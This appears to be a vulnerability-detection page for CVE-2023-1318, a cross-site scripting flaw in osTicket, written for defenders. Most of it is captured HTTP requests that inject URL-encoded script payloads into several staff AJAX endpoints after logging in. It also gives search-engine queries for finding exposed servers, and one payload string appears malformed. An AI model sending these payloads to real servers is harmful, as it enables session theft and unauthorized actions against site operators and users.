🔙 목록으로 돌아가기

CVE-2023-1318: osTicket < v1.16.6 - Cross-Site Scripting

Title	osTicket < v1.16.6 - Cross-Site Scripting
Author	ritikchaddha
Severity	Medium
Impact	Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
Remediation	Upgrade osTicket to later version to mitigate this vulnerability.
CVSS Score	5.4
EPSS Score	0.12866
CVE ID	CVE-2023-1318
CWE ID	CWE-79
Shodan Query	title:"osTicket"
Fofa Query	title="osticket"
Tags	cve cve2023 osticket xss authenticated vuln

🔍 Vulnerability Description

Cross-site Scripting (XSS) - Generic in GitHub repository osticket/osticket prior to v1.16.6.

🌐 HTTP Request

GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

GET /scp/ajax.php/queue/condition/addProperty?prop=background-colorvximw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3edhvmt&condition=1001 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Accept-Encoding: gzip
Connection: close

POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

__CSRFToken__=GICCg6&do=scplogin&userid=fm7Iay&passwd=mB44VI&ajax=1

POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

__CSRFToken__=GICCg6&do=scplogin&userid=fm7Iay&passwd=mB44VI&ajax=1

POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

__CSRFToken__=GICCg6&do=scplogin&userid=fm7Iay&passwd=mB44VI&ajax=1

GET /scp/ajax.php/queue/condition/addProperty?prop=color&condition=1001ljos2%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Emui2bt(document.domain)%3C%2fscript%3Edhvmt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept-Encoding: gzip
Connection: close

POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

__CSRFToken__=GICCg6&do=scplogin&userid=fm7Iay&passwd=mB44VI&ajax=1

GET /scp/ajax.php/queue/condition/add?field=isassigned&object_id=9&id=1001lr5is%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euoq07 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
Accept-Encoding: gzip
Connection: close

GET /scp/ajax.php/staff/change-departmenthpwc8%22%3e%3cscript%3ealert(document.domain)%3c/script%3em7dak HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close

GET /scp/ajax.php/kb/faq/1/accessmztvw%22%3e%3cscript%3ealert(document.domain)%3c/script%3ez2p1d HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close

POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

__CSRFToken__=GICCg6&do=scplogin&userid=fm7Iay&passwd=mB44VI&ajax=1

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1318.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1318.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A